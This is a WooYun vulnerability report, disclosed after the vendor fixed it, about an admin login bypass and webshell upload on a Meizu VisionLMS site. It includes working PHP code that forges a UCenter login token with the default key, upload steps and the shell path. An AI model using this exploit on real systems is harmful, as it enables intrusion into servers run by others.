当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119230

漏洞标题:魅族某站可以被getshell

相关厂商:魅族科技

漏洞作者: Noxxx

提交时间:2015-06-09 14:54

修复时间:2015-07-24 15:10

公开时间:2015-07-24 15:10

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-09: 厂商已经确认,细节仅向厂商公开
2015-06-19: 细节向核心白帽子及相关领域专家公开
2015-06-29: 细节向普通白帽子公开
2015-07-09: 细节向实习白帽子公开
2015-07-24: 细节向公众公开

简要描述:

魅族某站getshell

详细说明:

http://eln.meizu.com 发现是VisionLMS 找到官网 http://www.zlms.org/index.html没有发现有下载源码的地方。看到有官方案例 于是搞定了一个案例 得到了源码.看了一下源码。发现有个uc接口key的默认问题。那我就直接使用uc同步登录,来登录root账号。
exp:

<?php 
$_G['time'] = time()+10*36000;
$_G['action'] = 'synlogin';
$_G['uid'] = "1";
$_G['username'] = "root";
$code = urlencode(_authcode(http_build_query($_G), 'ENCODE'));
echo 'http://eln.meizu.com/lms/api/uc.php?code='.$code;
function _authcode($string, $operation = 'DECODE', $key = '[email protected]', $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>


登录到后台:
http://eln.meizu.com/lms/?s=Admin/Index/admin_main
资源管理->知识管理->新增知识库内容

QQ截图20150609124323.jpg


到第二步随便填,第三步叫你上传压缩包,
新建一个压缩包 然后新建一个目录,在目录里放入木马文件就可以了。
在前台知识那里就可以看到目录了,访问即可。

QQ截图20150609125010.jpg


QQ截图20150609125027.jpg


漏洞证明:

shell地址:http://eln.meizu.com/lms_data/lms/storage/attachment/kb/new_php.php

QQ截图20150609125159.jpg


不深入了..

修复方案:

对后台进行访问限制.

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-06-09 15:08

厂商回复:

谢谢您对魅族安全的关注,漏洞以确认,紧急修复中~

最新状态:

暂无